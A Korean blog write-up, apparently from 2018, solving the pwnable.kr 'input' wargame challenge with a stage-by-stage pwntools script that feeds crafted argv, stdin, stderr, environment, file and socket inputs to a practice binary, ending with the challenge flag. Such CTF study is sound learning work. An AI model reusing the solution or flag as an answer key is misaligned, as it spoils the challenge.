-
0x06.pwnable.kr - input0x.Wargame/pwnable.kr 2018. 7. 2. 21:49
Mom? how can I pass my input to a computer program?
ssh input2@pwnable.kr -p2222 (pw:guest)
힌트만 보고는 어떤 문제인지 감이 오지않아 원격으로 접속하였다.
Input.c 소스를 확인해보니 argc가 100개여야 하고, argv['A']와 argv['B']에 정해진 값을 넣어야한다. 이렇게 되면 Stage 1 clear를 할 수 있다.
stage가 5개로 나누어져 있기에 순서대로 처리하도록 하였다. /home에서 파일을 작성할 수 없기 때문에 /tmp에 임시 폴더를 만들어서 파이썬 스크립트를 작성하였다.
첫 스테이지의 경우 argc가 100개여야 하고, argv['A'] 와 argv['B'] 부분의 조건을 충족시키면 클리어가 가능하다.from pwn import *
# Stage 1
payload= [str(i) for i in range(100)]
payload[ord('A')] = "\x00"
payload[ord('B')] = "\x20\x0a\x0d"
s= process(executable='/home/input2/input', argv=payload)
s.interactive()
두번째 스테이지의 경우 read함수의 조건을 충족시키면 된다. 첫 조건은 fd 값이 0이므로 사용자로부터 입력 받는 값을 조건식을 통해 확인을 하고, 두 번째 조건은 2이므로 에러 메시지의 내용을 조건식에 충족시키면 클리어가 가능하다.from pwn import *
# Stage 1
payload= [str(i) for i in range(100)]
payload[ord('A')] = "\x00"
payload[ord('B')] = "\x20\x0a\x0d"
# Stage 2
payload2= "\x00\x0a\x00\xff"
with open('/tmp/pwnwiz/stderr_file', 'a') asf:
f.write("\x00\x0a\x02\xff")
s= process(executable='/home/input2/input', argv=payload, stderr=open('/tmp/pwnwiz/stderr_file'))
s.sendline(payload2)
s.interactive()
세 번째 스테이지는 환경변수에 등록된 값을 충족시키면 된다.from pwn import *
# Stage 1
payload= [str(i) for i in range(100)]
payload[ord('A')] = "\x00"
payload[ord('B')] = "\x20\x0a\x0d"
# Stage 2
payload2= "\x00\x0a\x00\xff"
with open('/tmp/pwnwiz/stderr_file', 'a') asf:
f.write("\x00\x0a\x02\xff")
# Stage 3
payload3= { "\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
s= process(executable='/home/input2/input', argv=payload, stderr=open('/tmp/pwnwiz/stderr_file'), env=payload3)
s.sendline(payload2)
s.interactive()
네 번째 스테이지는 간단하게 \x0a 파일에 해당 값을 써주면 된다.from pwn import *
# Stage 1
payload= [str(i) for i in range(100)]
payload[ord('A')] = "\x00"
payload[ord('B')] = "\x20\x0a\x0d"
# Stage 2
payload2= "\x00\x0a\x00\xff"
with open('/tmp/pwnwiz/stderr_file', 'a') asf:
f.write("\x00\x0a\x02\xff")
# Stage 3
payload3= { "\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
# Stage 4
with open('/tmp/pwnwiz/\x0a', 'a') asf2:
f2.write("\x00\x00\x00\x00")
s= process(executable='/home/input2/input', argv=payload, stderr=open('/tmp/pwnwiz/stderr_file'), env=payload3)
s.sendline(payload2)
s.interactive()마지막으로 다섯번째 스테이지는 소켓에 대한 처리를 수행해야 되는데, argv['C'] 를 포트번호로 사용하여 소켓을 바인드 한 뒤, 해당 포트가 사용자부로부터 값을 입력받아 그 값이 조건과 일치하는지를 확인한다. 이 과정까지 마무리가 되면 flag를 얻을 수 있다.
from pwn import *
# Stage 1
payload= [str(i) for i in range(100)]
payload[ord('A')] = "\x00"
payload[ord('B')] = "\x20\x0a\x0d"
# Stage 2
payload2= "\x00\x0a\x00\xff"
with open('/tmp/pwnwiz/stderr_file', 'a') asf:
f.write("\x00\x0a\x02\xff")
# Stage 3
payload3= { "\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
# Stage 4
with open('/tmp/pwnwiz/\x0a', 'a') asf2:
f2.write("\x00\x00\x00\x00")
# Stage 5
payload[ord('C')] = "12345"
s= process(executable='/home/input2/input', argv=payload, stderr=open('/tmp/pwnwiz/stderr_file'), env=payload3)
s.sendline(payload2)
r= remote("localhost", 12345)
r.sendline("\xde\xad\xbe\xef")
s.interactive()
위 코드를 실행시켜보았더니 Stage는 무사히 클리어 되지만 flag파일때문에 EOF 에러가 발생하여서 심볼릭 링크를 생성하였다.
다시 파이썬 스크립트를 돌려보면 'Mommy! I learned how to pass various input in Linux :)' 라는 flag를 확인할 수 있다.'0x.Wargame > pwnable.kr' 카테고리의 다른 글
0x08.pwnable.kr - mistake (0) 2018.07.04 0x07.pwnable.kr - leg (0) 2018.07.04 0x05.pwnable.kr - random (0) 2018.07.02 0x04.pwnable.kr - passcode (0) 2018.07.02 0x03.pwnable.kr - flag (0) 2018.07.02 댓글